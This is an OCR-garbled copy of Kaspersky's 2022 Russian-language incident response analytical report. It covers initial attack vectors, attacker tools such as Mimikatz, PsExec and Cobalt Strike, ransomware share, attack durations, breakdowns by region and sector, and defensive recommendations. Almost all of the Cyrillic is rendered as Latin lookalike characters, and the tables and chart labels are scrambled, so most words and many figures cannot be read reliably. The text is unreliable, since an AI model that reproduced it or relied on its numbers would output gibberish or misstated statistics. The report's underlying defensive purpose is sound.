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AHATIMTUYECKN OTYET IR

2022

BBenoeHme

AHaNUTNYECKN OTYET COOEPXUT NMHDOPMaLMIO 06 aTakax, paccnengoBaHHbIX
«J1labopaTopuen Kacnepckoro» B 2022 roay.

Mbl NpenoCcTaBNSEM LUNPOKNN CMEKTP CEPBMCOB (pearmpoBaHme Ha
MHUMNOEHTHI, LdpoBad KpUMMHaANMCTUKA, aHann3 BpegoHOCHbLIX MporpamMmm) ong
OKa3aHW14 MOMOLLM OpraHnsaungam, NocTpagasWwM OT MHUNOEHTOB
NHPOPMaLMOHHON 6e30MacHOCTW. [laHHbIe, CMOJb3YEMbIE B OTUETE,
NONYy4YeHbl N3 NPaKTUKN PpaboTbl C OpraHn3aunsaMm, KOTopble obpallanmnch 3a
NOMOLLbIO B pearnpoBaHnn Ha NHUMOEHTbI U NPOBOAUIN SKCNEPTHbIE
MePONPUATNS ON9 CBOUX BHYTPEHHNX rPYynn pearnpoBaHng Ha NHUNOEHTI.

Ycnyrun no paccriegoBaHnio U pearnpoBaHio Ha MHUMOEHTLI OKa3blBaeT Halle
nogpasgeneHne Kaspersky Global Emergency Response Team (GERT) ¢
akcnepTtamu B EBpone, Asunun, KOxxHon n CesepHon AMepuke, Ha bnm>xHem
BocToke n B Appuke. Hawa komaHga pearmpoBaHg NOYT NOMHOCTLIO (B 98%
BCEX CllyyaeB) nepeLuna K yoaneHHomy dopmaTy padboThl.

[eorpadpuda cepsuca Kaspersky Incident Response

() )

O

[TokpbITNe cepBuca Kaspersky Incident
Response No oTpacngam

19,39%

18,37%

(1oL S —— 17,35%

10% oo

5% .................................

O6paszoBaHue ®uHaHCHhI lfocyupexpeHns  3gpaBooxpaHeHne [poMbIWIEHHOCTb IT

B Poccua n CHI 45,9
B BavxkHnm BocTok 22.5
B CeBepHaga n lOxxHaa Amepuka 14,3
B EBpona 13,3
= Adppuka 4.

10,20%

MpepnpuaTtng TenekoMmyHUKaL N TpaHcnopT Opyrune

#kaspersky
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TpeHabl B 2022 ropny

Kak aTakyoLwne nonyyatoT
nepBoHaYvasbHbI 4OCTY

PaccmMoOTprM CrCOK CaMblX pacnpoOCTpaHeHHbIX HavanbHbIX BEKTOPOB aTak,
NCroNb3oBaHHbIX B 2022 roay. Kak MOXHO 3aMEeTUTb, OH HE N3MEHWJICH C MpoLwioro roga’.
Icnonb3oBaHMe XOPOLLO N3BECTHBLIX, HO 0 CUX NOP HE YCTPaHEHHbIX YI3BMMOCTEWN NO-
NpeXXHeMy 9BNAeTCA OOQHM N3 CaMbiX 3P PEKTUBHbBIX BEKTOPOB aTaku. OKcryaTaund
YSA3BMMOCTEW B LUMPOKO PacrpoCTpaHeEHHOM NPOorpaMmmMHOM O0becrneyYeHn, TaKkoOM Kak
Microsoft Exchange, ocTaeTcs BeCbMa YaCTOW U Pe3ynbTaTUBHOW MNPaKTUKOW.

2019 2020
DKcnnyatauns
yS13BUMOCTEN B Ny6INYHO 1 37,0 2
OOCTYMHbIX NPUNOXEHNSX
CKoMmnpoMeTUpoOBaHHbIE = 13.0 :
yueTHble 3anncu
BpenoHocHbIe NncbMma 2 30,0 3

NHCTpYMeEHTbI aTaKyloLwmx

JleruTMMHbIE NHCTPYMEHTDI

TpeHn Ha ncnonb3oBaHme LOLBIns coxpaHdeTcd. PowerShell
OCTaeTCd OQHVM 13 CaMblX YaCTO MPYIMEHAEMbIX UHCTPYMEHTOB
aTaKkyloLnX Ha cTagn NnepemMeLLeHns BHYTpY neprMeTpa.

[MlocnencTBuga atak

2021

51,9%

Hanbonee atakyemble permoHbl

Poccusa n CHI BAvixkHnI
45.9% 22 5%

BocTok

31,5

31,6

23,7

2021

' Mpupoaa NHUNAEHTOB

NHPOopPMaLMOHHOMN
6e3onacHocTn 2021

2022
53,6 1
17,9 2
14,3 3

PsExec, Mimikatz n Cobalt Strike

PsExec, Mimikatz n Cobalt Strike Tak>)ke coxpaHaoT NoNyngpHOCTb

429

23,8

11,9

B nocnegHue rogbl. B 2022 roay 3T MHCTPYMEHTbI MPUMEHSANNCH
B 10,4%; 9,8% 1 6% BCex aTak COOTBETCTBEHHO.

Ha npoTsaxeHun Tpex neT noapsa nepBooyepenHomn Npobnemon, ¢ KOTOPOoK

CTankmBarOTCH HaLN KJITMEHTbI, 9ABTAETCH LIJVICI)pOBaHVIe naHHbIX. Jong

KOMMaHWW, aTakoBaHHbIX Wb poBanbLUykamMmu (MporpamMmmMmamm-
BbIMOraTensgamMum), HECKObKO cokpaTtunack: 39,8% npotus 51,9% B 2021 ropy.

CeBepHas 1
IO>xxHast AMepuika

14,3%

Hanbonee aTakyemblie
ceKTopa 9KOHOMUNKM

d [lpomMbIWNEeHHbIe
npeanpuaTng

@ [ocypapcTBeHHbIE
yupexaeHus

$ duHaHcoOBblE
yupexxaeHus

174%

19.4%

18,4%

#kaspersky
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[lporpammbl-BbiIMOraTenu

OnTenbHOCTb aTak C NPUMEHEHNEM MPOrpamMmmMm-BbiIMOraTenen
B 3aBMCMOCTW OT HaYa/lbHOIro BEKTOPA

OnnTenbHOCTb aTaku

HauyanbHbIl BEKTOp aTaku Yachl OHWn Hepenn Mecqaubl loppbl O6wee
KOJINYeCTBO
CKOMMPOMETUNPOBAHHbIE YUYETHbBIE 3aMNCH 2.952% 2,58% 4,76% 714% 0,00% 23,81%
oKkecnnyaTaums ya3BMMOCTEN B NyBINYHO 4,76% 14,29% 9.52% 11,90% 2,58% 42,86%
OOCTYMHbIX MPUIOXEHUSAX
Icnonb3oBaHMe Cny>x6 yoaneHHoro goctyna 2,58% 4,76% 2,58% 0,00% 0,00% 9.52%
BpenoHOCHbIE NMcbMa 2,58% 2,58% 2,58% 4,76% 0,00% 11,90%
[loBepuTenbHble OTHOLLEHNS 0,00% 2,58% 0,00% 2,58% 0,00% 4,76%
AnnapaTHble CpeacTBa 2,38% 0,00% 0,00% 0,00% 0,00% 2,358%
Opyrue 2,38% 2,38% 0,00% 0,00% 0,00% 4,76%
ObLiee KoNn4ecTBoO 23.81% 28.57% 19,05% 26.19% 2,38% 100,00%
Bo BpeM4 aTak, CBA3aHHbIX C MporpamMmmMmamMum-BbiMoraTendaMm, B Ka4ecTBe
P Porp oKcnnyaTtauns
Ha4aJ/iIbHOIoO BEKTOPa atak NCroJjib30BaJIMCb T€ >XX€ OCHOBHbIE METOHhI, g
KOTOPbIE MPUCYLUW OPYrMM TUnam aTtak. MIcnonb3oBaHME Y93BMOCTEN U paHee Y9|3BVIMOCT6VI

CKOMMPOMETUPOBAHHbIX YYETHbLIX 3arceln Nosib3oBaTenen bbino OTMEYEHO B

Bo Bcex cnyyadx, korga HadanbHbIM
42.9% n 235,8% cny4vaeB COOTBETCTBEHHO. B nHUMgeHTax ¢ nporpamMmmamm-

BEKTOPOM 4AB1d/1aCb 3KCrjiyaTtaund

LU poBanbLLMKaMM B KQYeCTBE HauyaNbHOro BEKTOPa TakXe LUMPOKO VSI3BUMOCTEN, OCHOBHOM YLLEPE Bl
ICNONb30Bannch BpeaoHOCHbIE nNncbMa (B 11,9% cny4yaen). CBSA3aH C LNdPOBaHNEM OaHHbIX.
Bnpouem, B psae aTak LensgaMy 310YMbILLITEHHUKOB 9BASINCL OTHIOOb HE Hanbonee pacnpocTpaHeHHbIMU B HaLLEM
BbIMOraTENbCTBO U LUNPPOBaHME OaHHbIX, @ MOMyYeHne 1 aKCnyaTauns HABbOPEe AaHHbBIX ABAAOTCA YA3BMOCTY,

OaHHbIX KOMMaHWW: NepPCOoHasbHbIe JaHHble, MHTeNNeKTyanbHag CO6CTBEHHOCTb oUieRAliEEs K ErEsert Benense
Server( CVE-2021-26855  CVE-2021-34523
N npoyad KoHpuaeHumanbHas nHdopmaums. NoNHOCTbIO YCTPaHUTb YLWePO OT , :

TaKoro pofa aTak NpakTUYECK HEBO3MOXHO. OHU MPUBOAAT K Pery TaLMOHHbIM R, GRS )

noTepsM, a Takke LWTpadam CO CTOPOHbI PErYVPYIOLLIX OPraHOB U Cy4ebHbIM HECMOTPS! Ha TO UYTO 3ALLUTUATLCS OT STOrO
nckam. Bce 3T puckn ncrnonb3yoTcs Kak AONONHUTENbHbIE GaKTOoPb! A4 BEKTOpPa aTaku MPOCTO — AOCTATOYHO
0aBfeHNS B MOMEHT LLaHTaXa. CBOEBPEMEHHO YCTaHaBINBaTb

OBHOBNEHNA 6e30MacCHOCTU, —

B HEKOTOPbIX aTakax C MCNOIb30BaHVNEM LUNDPOBAbLLMKOB Mbl HAGIO4aNM RIS RO T T e

yTeuKy gaHHbIX. KpomMme Toro, MHoraa lWwngppoBanbLUnKM NCMOIb30BanCh 44 SHaUUTESNbHO YalLle, YeM ApYriie MeTombl
COKPbITUS NepBOHaYanbHbIX CNIeO0oB aTaku N YCNOXHEHWS pacciefoBaHnNg nepBoHaYyanbHOro NPOHNKHOBEHNS.
NHUNOEHTOB.

[lpn paccnegoBaH MHUMOEHTOB C NPUMEHEHEM MNPOorpamMm-

LN POBASbLLMNKOB Mbl OOHAPY XU, YTO B OOMbLUNHCTBE CllyYaen
3/10YMbILUTEHHUKN HAaXoOUINCb B CETU KNIMEHTA HEKOTOPOE BPEMS NOcCe
NnepBoOHaYvaibHOro NPOHNKHOBEHNS. ATaKkytoLwlme Ncrnonb3ytoT PowerShell ons
cbopa gaHHbIX, Mimikatz gng nosbileHUs npuBunernn n PsExec ang
yOANEHHOr O BbINOJSIHEHNS KOMaHA nnn dpenmBopkin Trna Cobalt Strike ong
NpoBeaEHNA BCEX 3TAMOB aTaku.

I I I |
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CHOBHbIE BbIBOObI W
PEKOMEeH AL 9KCMEepTOB

2 YunTblBan1ch Kak criy4yaun, paccnenoBaHHbIE B
pamKax CornaleHns o pearmpoBaHnm Ha
NHLUMOEHTbI, TaK N 9KCTPEHHbIE ClyYau

CTaTtucTuka, NpeacTaBeHHad B OTYETE, OCHOBAHA Ha AaHHbIX 00 MHUMOEHTAX,
paccnenoBaHHbIX rnobanbHOWM KOMaHOoW pearnpoBaHng Ha MHUMOEHTHI
MHPOopPMaLMOHHOW 6e3onacHocTK «J1labopaTtopum Kacnepckoro» B 2022 roay.

OCHOBHbIe cBegeHna 06 aTakax:

3 [lTaHHOE onuncaHme ocHoBaHo Ha cxeme Unified Kill Chain.

3penocTb
opraHn3auunmn

Ecnun pazobpaTtb NpNYHbI 3anNpoCcoB
Ha NpenocTaBneHune cepsuca Incident
Response, MOXHO pas3aennTb UX Ha
nBe rpynnbl.

dkcnnyaTtauuns ya3BUMocCTen
B Ny6/1MYHO AOCTYNHbIX
NPUNOXXEeHUSX

BHepgpeHme B CeTb PekomeHaauunm

- BHeppsanTte HagexHyto
NapOSIbHYIO NONNTUKY

PasBepaka
- 2022 N MHOTOQaKTOPHYIO

MNoarotoeka pecypcos
[locTaBKa

CounanbHasa nH>xeHepus
dKcnnyartauuns
3akpenneHue

MpepoTBpaweHne
OBGHapy>XeHuns

YnpaBneHvne N KOHTPOJib

Pa3BuTme atakm

[long ncnonb3oBaHNS NErmMTUMHbIX
MHCTPYMEHTOB Bblpocna ¢ 39,7%
oT obwero uncna cnyyaes B 2021
rogy 0o 46% B8 2022 ropy

BbinosHeHune
Lenen ataku

C60p paHHbIX

AkcPunbTpaumns gaHHbIX

CkomnpomeTnpoBaHHble
yyeTHble 3anncum

2022 23,8%
2021 17.9%

BpenoHocHble NnncbmMa

2022 1,9%
2021 14,3%

Cobalt Strike
2022 @6,0%

2021 @ 9.7%

Mimikatz

2022 @ 9.8%
2021 @ 9.7%

PowerShell
2022 @ 44%
2021 @ 8.6%

PsExec

2022 oz
2021 (&S0

Apyrue
2022 @EEZ

2021 009%

YTeuka gaHHbIX

2022 18,4%
2021 16,0%

KomnpomeTtauusa Active
Directory

2022 17,3%

ayTeHTundrkaumno

- 3akpblBanTE NOPTHI

yrpaBfeHns OT JOCTyna N3BHE

- YcTaHaBnBalTe OOHOBIEHUS

1O nnn ncnonb3dymnTte
OOMNONHUTENbHbIE MEPb
3almnTbl A9 CepBrCOB
Ha NepuMeTpe CceTn

- [loBblWanTe YPOBEHDb

OCBEOOMIIEHHOCTU
COTPYAOHMKOB NO BOMNpOCcam
NHPOPMALMOHHON
6e30MacHOCTU

PekomeHaauunm

- Ncnonb3yinTe npaBuna

OBHapPY>XEeHNA NErMTUMHbIX
NHCTPYMEHTOB, MPUMEHSAEMbIX
aTakyloLwmmm

- Vlicnonb3yinTe pelleHnd knacca

EDR

- PerynapHo npoBogute

KN6EepyUeHns C NPUMEHEHNEM
PacnpPOCTPAaHEHHbIX TEXHUK
N TaKTUK 3N0OYMBbILLSIEHHVKOB

- He ncrnonb3ayinte BHYTPEHHME

KOMaHObl

PekomeHpaumu

- BbinonHanTe pesepBHOE

KonmpoBaHme aaHHbIX

- OdopmnTe NogNNCKy Ha

pearnpoBaHme Ha HLMAOEHTbI
c SLA

- PaccmaTtpuBanTe cuctemsl

[pynnal

Buonmbie nocnegcTensg atakm Ha MOMEHT

obpaLLeHns:

LLindpoBaHmne paHHbIX [l

YTeuka gaHHbIX REAer

XnweHne GrHaHCOBbIX CpencTB Al

[pynna ll

44,21% BCcex obpaLLeHN

O6paLueHns, NPUYNHON KOTOPLIX CTanun

noaoo3pnTesibHble NHONKaTOPDbI:

AKTBHOCTb NOoJib30BaTeneun

CeTeBad akTUBHOCTDb

dannbl 1 3NEKTPOHHAas NoYTa

YBEeOoMneHns ot UHCTPYMEHTOB

6e30nacHOCTH

- 14,29% BCex aTak — NpenoTBpaLlLeHbl N
OCTaHOBJIEHbl 6e3 Kaknx-nmbo nocnencTsui

- 11,9% — noxHble Tpesoru

- 11,9% — panbHenwee paccnegoBaHme BbISBMUNO

yTEeUKY OaHHbIX

- 14,29% — komMnpomeTaumns yueTHbIX JaHHbIX

nosib3oBaTtenenm n AD

C NepcoHasnbHbIMK AaHHbIMW Kak
PasymeeTcs, HeKoTopble N3 3TUX NHLUWOEHTOB
OOHW N3 CaMblX KPUTUYHbIX

Lienu Tak>Ke MOIV NepepacTy B MHLMAEHTbI C 6onee
LLinjppoBaHmne paHHbIX - lNopnepxwiBanTe rotoBHOCTH CepbesHbIMY MOCNEACTBUSMU, U X OBHAaPYXEHVe

2022 39,8% KOMaHAbl pearnposaHn4 Ha pPaHHVX CTaamsIX NO3BOMUIO MUHUMN3NPOBATD

2021 519% C NMOMOLLIbIO TPEHNHIOB yilep6

N KN6Eepy4yeHnmn

Bo3pgencreue 2021 1,1%

#kaspersky 06
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IHNNTEenbHOCTb aTakw

Bce nHUnaeHTbl MOXHO pasbunTb Ha TP KaTeropum, KoTopble
XapaKTEPUIYIOTCS Pa3NNYHbIM BPEMEHEM NPEBbLIBAHNS 3N0YMbILLIEHHWKA

B CETN OpraHn3aunn, oJinTesibHOCTbIO pearmpoBaHd Ha NHUWNOEHT, Ha4aJibHbIM

BEKTOPOM U nocneacCtTBnNdaMm atakn.

bbiCcTpble

Yacbl U gHU

KosimyecTBO aTak
 527%

52.7%

2022
2021

CpenHen oMTenbHOCTI

Hepnenn

2021

CpenHas onnTenbHOCTb aTaku

2022 () 2 ans
2021 . 1 AHen

XapakTepHad yrposa

[Tporpammbl-
BblMoOraTtenu

{6}

HauvanbHbI BEKTOP aTakun

(5 Nop6op naponeii

o dkcnnyatauuns ya3BMMOCTEN B My 6NYHO

OOCTYMHbIX NMPUNTOXEeHNAX

£a LleneBon GULIMHI C NCNONb30OBaHNEM
" BpeAoOHOCHbIX CCbIJTIOK

InnTenbHOCTb pearnpoBaHNd Ha MHUWNOEHT

ATakun gnnTenbHOCTbIO
0o Hepennm

MacLuTabHble ObICTPbIE aTakM NPOrpamMm-
BbIMOraTesnen Ha NerkogoCcTynHbIe Lenw,
npeacTaBngoLle 6onbLYo NPOobAeMy gaxe ang
opraHM3auumn ¢ pasBnUToON CUCTEMON
NHOOPMaLVOHHON Be3onacHOCTW. Takme
NHLUWOEHTbI CBA3aHbl C 0BLWLEN3BECTHBLIMN N NErKO
NOEHTNOULMPYEMbBIMN NPpOBNEMamMy 6€30MNaCcHOCTW.

294 yaca

2022
2021

[Tporpammbi-
BblIMOraTenum n xmweHme
OEHEeXHbIX CpeacTB

PENTUHI MO YacToTe)

o SKkcnnyaTtauns ya3BMMOCTeN B Ny6NYHO

OOCTYTHbIX MPUNOXEHNSIX

3¢ 3apaXKxeHue NyTem CKPbITO 3arpy3Kku
(5 Non6op naponeii

Pennnkaums Yepes CbeMHbIE HOCUTENN

2= LleneBon GULIMHI C NCNONb30OBaHUEM
" BpeOoHOCHbIX CCbITIOK

ATakn gnnTenbHOCTbIO
0o mecqua

13-3a NCNONb30BaHNS MPOrpamMmM-BbIMOraTenem
MHOre Takme aTakm HeOTNIYMMbI OT Bonee
BbICTPbIX. MHOrME cnyyau, MOMeLLEHHbIE B 3TY
rpynny, XapakTepU3yrTCSA 3HAUNTESbHbIM
NPOMEXYTKOM BPEMEHUN MEXAY
nepBoHaYasibHbIM JOCTYMNOM Vi MOCNEAYOLLNMN
aTanamu aTaku.

2022
2021

671 yaca

48,3 yaca

Honrne

Mecqubl n gonbLie

2022
2021

16.3%
17.2%

2022
2021

127 nHen
Q4.5 nHen

[Tporpammbl-
BbiIMoOraTesnm 1 yteJka
OaHHbIX

o dKkcnnyaTtauns ya3BMMOCTeN B Ny6INYHO

AOOCTYMHbIX MPUTOXEeHNAX

@) LleneBon GMWIMHI € NCNONb30OBaHNEM
BPE€OO0HOCHbIX BNIOXXEHWUIA

(5 MopGop naponeii
31 BapadkeHue NyTem CKpbITON 3arpy3Kkm

' BHYTPEHHWI HapyLLUUTesb

(Bpemsa paccnenoBaHung)

ATakun gnTenbHOCTbIO
bonee mecsua

CmeHgdoLLve apyr apyra akTBHbIE U
NaccuBHbIE $asbl HEPETYNFPHOW
NPOLAO/IKUTENBHOCTU. NNTENMbHOCTb aKTVBHbIX
da3 NpMMepPHO Takad Xe, Kak B npenblayLein
rpynne (CpenH4d).

2022
2021

47 8 yaca

60,13 yaca

#kaspersky
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[TonymHbI 0OpaLLLEHNN
K CepBUCY pearnpoBaHng
HA MHUMOEHTDI

[ona NHUMAEHTOB C NPUMEHEHMEM MPOorpamMM-BbIMOraTenemn npeBbillaeT
KOMMYECTBO NMHUUAOEHTOB, CBA3aHHbIX C XULLEHVNEM OEHEXHbIX CPEOCTB UMK
NHBbIMW NOCNEeACTBUSMU, N3-3a MPOCTOTbl CXEMblI MOHETN3aUMN 1 Bonee
LLUNPOKOro oxeaTta oTpacnen (He TONbKO GNHAHCOBLIN CEKTOP). BOMBLUMHCTBO
NHUNOEHTOB, NPU3HaKN KOTOPbIX, Take Kak Noa03pPUTENbHbIE CODbITUS U
npenynpexaeHns MHCTPYMEHTOB 6€30nacHOCTW, 6blsI OOHaPY>XeHbl 40
OCHOBHOIrO BO3OENCTBUSA, MOXXHO C YBEPEHHOCTbIO KSTacCUPUMpOBaTb Kak
NCMOMNb3YIOLME NPOrpamMmMbl-BbIMOraTeN.

PeanbHble
NPUYNHbI

J10>XXHble
o6palleHns

s

B LLindppoBaHme aaHHbIX 40,00

B lNopo3puTtenbHasa aKkTUBHOCTb Ha paboumx ctaHumax 30,00

B YTeuka naHHbIx 17,50 Nopo3puTenbHas akTUBHOCTb Ha paboumnx ctaHumsax 43,50
HoTndukaumm ot cpeacTs o6HapyXeHns 7,50 MNoposputenbHble dalinbi 30,40
XuweHmne pnHaHCOBbIX CPEACTB 2,50 HoTtudukauumm ot cpencts obHapy>XeHnd 13,00
[Togo3puTenbHada noyTa 2,50 W MNopo3puTtenbHasa ceTeBas akTUBHOCTb 13,00

23,5% BCEX 3aMpoCcoB - NOXHblE cpabaTbiBaHMS. [logo3puTtenbHas '
rpeanynpexageHnm o HeTUrMM4YHOM noBeaeHMN,

*Nopo3spuTenbHasa akTUBHOCTb — 9TO KaTeropug

aKTVBHOCTb?, pernctprpyemas CeTeBbIMY CEHCOPaMM Ha PabOUYMNX CTaHLLINSAX CrEHEPVPOBAHHBIX ALLATHBIMUI CPENCTBAMM VAV
(EPP), aBngeTcs OoCHOBHOW MPUYMHOWN JIOXHbIX CpabaTbiBaHWNN. OTMPaB/EHHbIX NOMb30BaTENSIMY
[Topo3puTtensbHble dansbl CTAHOBUNCH MPUYHOW KaXXaoro TPEeTbEro TOXHOro

cpabaTbiBaHWSI.

ATaky C NPUMEHEHMEM NPOorpamMM-BbiIMOraTenem B Te4YeHne MHOIuX eT
COXPaHSAOT JOMUHUPYIOLLYO POSb B NaHawadTe yrpo3 Knoepbe3onacHOCTW.
Mbl pekomMeHayeM NonyyaTb akTyasnbHYO 1 MONE3HYI0 MHGOPMaUMo 06 aTakax
C MPYIMEHEHVEM NPOrpaMM-BbIMOraTenel N3 Halmx @HaNUTUYECKNX OTHETOBR
1 Ha cTpanuLe npoekta NoRansom.

#kaspersky
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CTtaTuncTunka npnyumH obpalleHn
NO OCHOBHbIM PErMoHam

BOMbLUMHCTBO PErMOHOB Tak UM MHaYe cTankmBanmcb C aTakamMu nporpamMmm-
BbIMOraTenen, a nogo3puTenbHas akTMBHOCTb Bblfla caMoun pacnpoCcTpaHeHHOW
NPUYNHOW NHULIMNPOBAHNS paccriegoBaHnii.

0% G WY B @8 WY B0 G 00 U G N

Adpuka CHI EBpona NlatnHckaa Amepuka  bav>xHui BocTok CeBepHada Amepuka ObLiee Konm4ecTBo
] ] ]
Adpuka 3,06 Adpuka 1,02 Adpuka - Adpuka - Adpuka - Adpuka -
CHI 1735  CHI 16,33 CHI 918 CHI 1,02  CHI 204 CHr -
EBpona 6,12 EBpona 5,10 EBpona - EBpona - EBpona - EBpona 2,04
JNlatnHckaga Amepuka 11,22  JlatnHckaa Amepuka 1,02 JlaTnHckas Amepuka - JlaTnHckas Amepuka - JlaTnHckas Amepuka - JlatnHckaga Amepuka 1,02
BnvxHnn BocTok 4,08 BnvxHnn BocTok 13,27 BnavmxHuin BocTok 1,02 BavxHnn BocTok - BavxHnn BocTok - BnvxHnn BocTok 4,08
CeBepHaga Amepuka - CeBepHaga Amepuka 4,08 CeBepHaga Amepuka - CeBepHaga Amepuka - CeBepHaga Amepuka - CeBepHaga Amepuka -
Obwee 41,84  O6uwee 3776  Obuwee 10,20  O6buwee 1,02  O6uwee 2,04  O6uwee 714
KONMYeCTBO KOJINYECTBO KOJINYEeCTBO KONINYEeCTBO KONMYEeCTBO KONMYeCTBO

CTtaTuncTunka npnymnH obpalleHn
NO OCHOBHbIM OTPACNAM

[eHbrn 6onblue He 9BAFOTCA OCHOBHbBIM MOTUBOM 419 3/T0YMbILLNEHHUKOB,
OaXke ecnv nx atakn HaueneHbl Ha GUHaHCOBbIN cekTop. OCHOBHAY LIESNb —
OaHHble. YTeuka OaHHbIX — NPUYMHa NOMOBKHbI HALLMX pacCcneaoBaHnin B 3TOM

cekTope.

0y, - G - ________ — ______ — - _______ - _______ . - _______ G £ Gaaaae - ________

O6paszoBaHue ®urHaHChI TpaHcrnopT NpeanpusTus FocyupexaeHus 3ppaBooxpaHeHne  [POMBILNEHHOCTb  TeneKoOMMYHMKALWN Opyruve Kog:qugifm
) ] ]
O6bpasoBaHue 1,02 O6pasoBaHue 1,02 O6pas3oBaHue 1,02 O6pas3oBaHune - O6pas3oBaHune - O6bpa3oBaHune -
durHaHChI 4,08 durHaHChbI 918 dunHaHChI 1,02 dunHaHChI - durHaHChI 2,04 durHaHChHI 2,04
TpaHcnopT 2,04 TpaHcnopT 2,04 TpaHcnopT 2,04 TpaHcnopT - TpaHcnopT - TpaHcnopT -
Mpepnpuatns 1,02 Mpepnpunatng - [Mpepnpunatng - [MpepnpunaTting - [MpennpunaTtng - Mpepnpuatng -
[ocyupexaeHuns 8,16 [ocyupexaeHuns 8,16 [ocyupexgeHuns 3,06 [ocyupexaeHuns - [ocyupexaeHuns - [ocyupexaeHuns -
IT 510 IT 3,06 IT 1,02 IT - T - T -
3pnpaBooxpaHeHne 2,04 34paBooxpaHeHne - 3ppaBooxpaHeHne 1,02 34paBooxpaHeHne - 34paBooxpaHeHne - 34paBooxpaHeHmne -
[MPOMBILLIEHHOCTb 714 MpOMBILLIEHHOCTb 714 [MpombiwneHHocTb 1,02 [MPpOMBILLIEHHOCTb - [MPpOMBILLIEHHOCTb - [MpombiwneHHoCcTb 2,04
TenekommyHukaumm 3,06 TenekommyHukaumm 3,06 TenekoMmyHmMKauumn - TenekoMmyHuKaLmm - TenekoMmmyHuKaumm - TenekommyHukaumm 3,06
CMU 1,02 CMU 1,02 CMU -  CMU 1,02 CMU -  CMU -
Opyrue /14 [pyrue 3,06 [Opyrne - Opyrune - Opyrne - Opyrve -
Obwee 41.84 Obuwee 3776 Obwee 10.20 Ob6uwee 102 Obwee 204 Obwee 714
KONINYEeCTBO KONN4YeCcTBO KONN4YeCTBO KONN4YeCcTBO KONN4YeCcTBO KONINYEeCTBO
I I I J
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HauyanbHbIVl BEKTOP aTaku

Kak aTaKkyoLwme NpoHNKaKoT BHYTPb
opraHm3aunn

Y>Ke KOTopbIV rog, InaupyoLlme no3numm cpean HadyanbHblX BEKTOPOB aTak?
3aHMAIOT NPob6aeMbl 6€30MacHOCTU NPU ObpaLLEHN C MaPOAIMU,
YSA3BMOCTW MPOrpaMMHOro obecneyeHuns 1 coumanbHas NHXEHEPUS.
[lpaBuNbHbIE HACTPOWIKA N KOHTPO/Ib MONTUK NAapOonien, ycTaHOBKa OOHOBNEHN
6e30MacHOCTW, NOBbILLUEHNE OCBEAOMIEHHOCTW COTPYAHMKOB B BOMNpocax
NHPOPMALIMIOHHOW BEe30MacHOCTW, a Tak>XXe Mepbl Mo 6opbbe C PULLIHIOM
NO3BOJIAIOT 3HAUNTENIBHO OrPaHNYNTb BOSMOXHOCTU 3/10YMbILLUNEHHNKOB. [1pw
NOoAroToOBKE aTakK 3M10yMbILLSIEHHUK OTAAOT NPeanoYTeHns NerkogoCTXMbIM
LeNsgM, TakM Kak oBLLeaoCTYMHbIE CEPBEPDLI C XOPOLLO N3BECTHLIMM
YSA3BUMOCTSMW 1 SKCrNnonTamMmn. BHegpeHmne nonnTrkn ynpaBneHns
OOHOBEHNAMU CHMKAET BEPOSATHOCTb CTaTb XXePTBOW aTakn Ha 42,86%.

YazsumocTun B Microsoft Exchange, obHapy>xeHHble ewle B 2021 roay, ob1nu
pacnpocTpaHeHbl 1 B 2022 roay (Cm. Tabnnuy Huxe). OTo NporpaMmMHoOe
obecneyeHmne LNPOKO NPUMEHSETCH, MOSTOMY 3M1I0YMbILLIEHHWKN YaCTO
aKCNAyaTUPYIOT NOAOOHLIE OOLLEN3BECTHbLIE YSA3BMMOCTIA.

0% 10% 20%

CkomnpomeTnpoBaHHble
yJYeTHbIe 3annucu

25,81%

dKennyaTtauus
yS1I3BUMOCTEN B Ny6/INYHO
AOCTYMNHbIX NPUOXEHNSAX

Cny>06bl yaaneHHoro
aocTyna

MopknoueHue

AOMONHUTENbHbIX 2,38%
YyCTPOUCTB

BpenoHOCHbIe °
paccbisiKn 11 ,90 Yo

oBepuTtenbHble
OTHOLUEHWNS

Apyrve

> Mbl cmornu onpeaennTb

HaJvaNbHbIN BEKTOP aTaku
B 43% cnyyJaes

Bonbllad 0aBHOCTb MHUMOEHTOB,

HEeOOCTYMHbIE XYPHarbl, ClyYanHoe nnmu
npenHaMepeHHOE YHUUTOXEHNE CliedoB
NoCTpagaBLUEN OpraH/3aUeEn 1 aTaku

Ha uenoykm noctaBok 1O — nuwb
HEKOTOPbIE N3 MHOXXECTBA NPUYMH,

KOTOPbLIE MOTI'YT NOMeELLAaTb onpenesinTb,

KakM 0B6pa3oM 3110y MbILLSIEHHUKY
y0anocCb 3HaYanbHO 3aKPEnMTbLCH
B CETW.

30%

42,86%

40%
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Camble NonynsapHbie BEKTOPbI HaYaIbHOW
KOMMpomMeTaumm n MeTogbl X O6HapPY>XEeHNS

[ns npoBeaeHns aTak ¢ LUMdpPOBaHMEM 3/T0YMbILLIEHHUKN UCMOMb3YIOT MOYTU BCE LLUNPOKO

PacnpPOCTpPaHEHHbIE CLEHApPU NEPBOHaYaIbHOM KOMMNPOMEeTaL MHOPACTPYKTYPbI.

MHoOrvne ataky Ha4MHaKTCH C MOMOLLIbIO Y>KE€ CKOMMPOMETVPOBAHHbIX YUYETHbIX AaHHbIX, U
4YaCTO ObIBAET HEBO3MOXXHO BbISCHUTb, K&K OHM ObINN YKPaOEHb!.

TO O G oo ooollloooooooooooiiooiiiiiiiiiiiiiiissssssssssseeeeoeg
B0

— G $z G C— o |
0%

CkomMnpomMeTnpoBaHHbIe Ya3BMMOCTU MopknoveHne BpenoHocHble Cny>6bl HoBepuTesnbHble Hpyroe Ob6Lee KonMMuecTBo
yJyeTHble 3anncu B My ONYHbIX AOMONMHUNTESNIbHbIX nncbma ypaneHHoro gocryna OTHOLLEeHUA
NPUNOXEHNSAX YCTPONCTB

CkoMnpoMeTUpoOBaHHbIE 9,52 CkomMnpomMeTUpoBaHHbIE 476 CkoMnpomMeTUpoOBaHHbIE 476 CkoMnpoMeTUpOBaHHbIE - CkoMnpoMeTUpOBaHHbIE 2,38 CkoMnpoMeTUpOBaHHbIE 2,38
y4yeTHble 3anucum y4YeTHble 3anucu y4YeTHble 3anucu y4YeTHble 3anucu y4yeTHble 3anucum y4yeTHble 3anucum
Ya3BMMOCTN B Ny6nnuHbix 14,29 Ya3BMMOCTW B Ny6nnuHbix 14,29 Ya3BMMOCTU B NYBANYHbIX 9,52 Ya3BUMOCTU B Ny6AnUHbIX 2,38 Ya3BUMOCTW B NYBANYHBIX - Ya3BMMOCTN B Ny6nnyHbix 2,38
NPUIOXEHNSAX NPUNOXEHNAX NPUNOXEHNAX NPUNOXEHNAX NPWUNOXEHNAX NPUIOXEHNSAX
